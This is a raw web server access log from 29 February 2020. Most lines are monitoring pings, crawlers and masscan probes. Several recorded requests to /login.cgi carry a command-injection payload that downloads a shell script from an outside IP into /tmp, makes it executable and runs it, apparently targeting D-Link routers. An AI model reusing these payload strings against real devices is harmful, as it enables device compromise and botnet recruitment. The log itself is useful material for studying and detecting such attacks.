212.91.246.72 - - [29/Feb/2020:15:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.12.71.75 - - [29/Feb/2020:15:46:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.101.171.183 - - [29/Feb/2020:15:47:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:15:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [29/Feb/2020:15:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
95.216.96.243 - - [29/Feb/2020:15:48:57 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.243 - - [29/Feb/2020:15:48:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [29/Feb/2020:15:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
17.58.56.21 - - [29/Feb/2020:15:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [29/Feb/2020:15:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [29/Feb/2020:16:03:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [29/Feb/2020:16:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.8.138.150 - - [29/Feb/2020:16:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:16:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.244.176.49 - - [29/Feb/2020:16:08:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
180.245.147.55 - - [29/Feb/2020:16:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:16:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.99.88.18 - - [29/Feb/2020:16:11:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
109.99.88.18 - - [29/Feb/2020:16:11:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:16:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.101.171.183 - - [29/Feb/2020:16:13:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:16:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.101.171.183 - - [29/Feb/2020:16:15:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:16:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.73.249.163 - - [29/Feb/2020:16:16:57 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.73.249.163 - - [29/Feb/2020:16:16:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [29/Feb/2020:16:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.79.225.109 - - [29/Feb/2020:16:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:16:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.206.216 - - [29/Feb/2020:16:30:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:16:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.168.64.24 - - [29/Feb/2020:16:32:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:16:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.2.162.34 - - [29/Feb/2020:16:37:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.101.171.183 - - [29/Feb/2020:16:37:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:16:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.134.31.14 - - [29/Feb/2020:16:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:16:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.128.15.68 - - [29/Feb/2020:16:46:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:16:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.64.208.81 - - [29/Feb/2020:16:48:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:16:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [29/Feb/2020:16:54:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [29/Feb/2020:16:54:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [29/Feb/2020:16:54:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [29/Feb/2020:16:54:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.164.150.132 - - [29/Feb/2020:16:54:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:16:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [29/Feb/2020:16:54:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:16:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.36.218.122 - - [29/Feb/2020:16:57:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.156.219.164 - - [29/Feb/2020:16:57:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:16:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:16:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.158.57.246 - - [29/Feb/2020:16:58:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:16:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:17:01:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:17:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:17:01:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
193.202.44.194 - - [29/Feb/2020:17:02:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
193.202.44.194 - - [29/Feb/2020:17:02:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
193.202.44.194 - - [29/Feb/2020:17:02:40 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:17:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:17:02:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
193.202.44.194 - - [29/Feb/2020:17:03:29 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:17:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:17:03:46 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
211.192.180.178 - - [29/Feb/2020:17:04:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
193.202.44.194 - - [29/Feb/2020:17:04:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
211.192.180.178 - - [29/Feb/2020:17:04:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [29/Feb/2020:17:04:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [29/Feb/2020:17:04:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:17:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [29/Feb/2020:17:04:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:17:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.217.58.10 - - [29/Feb/2020:17:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:17:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [29/Feb/2020:17:08:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [29/Feb/2020:17:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:17:20:19 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:17:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.178.101.135 - - [29/Feb/2020:17:21:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:17:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.206.100.143 - - [29/Feb/2020:17:22:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.101.171.183 - - [29/Feb/2020:17:22:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
46.101.171.183 - - [29/Feb/2020:17:22:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:17:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
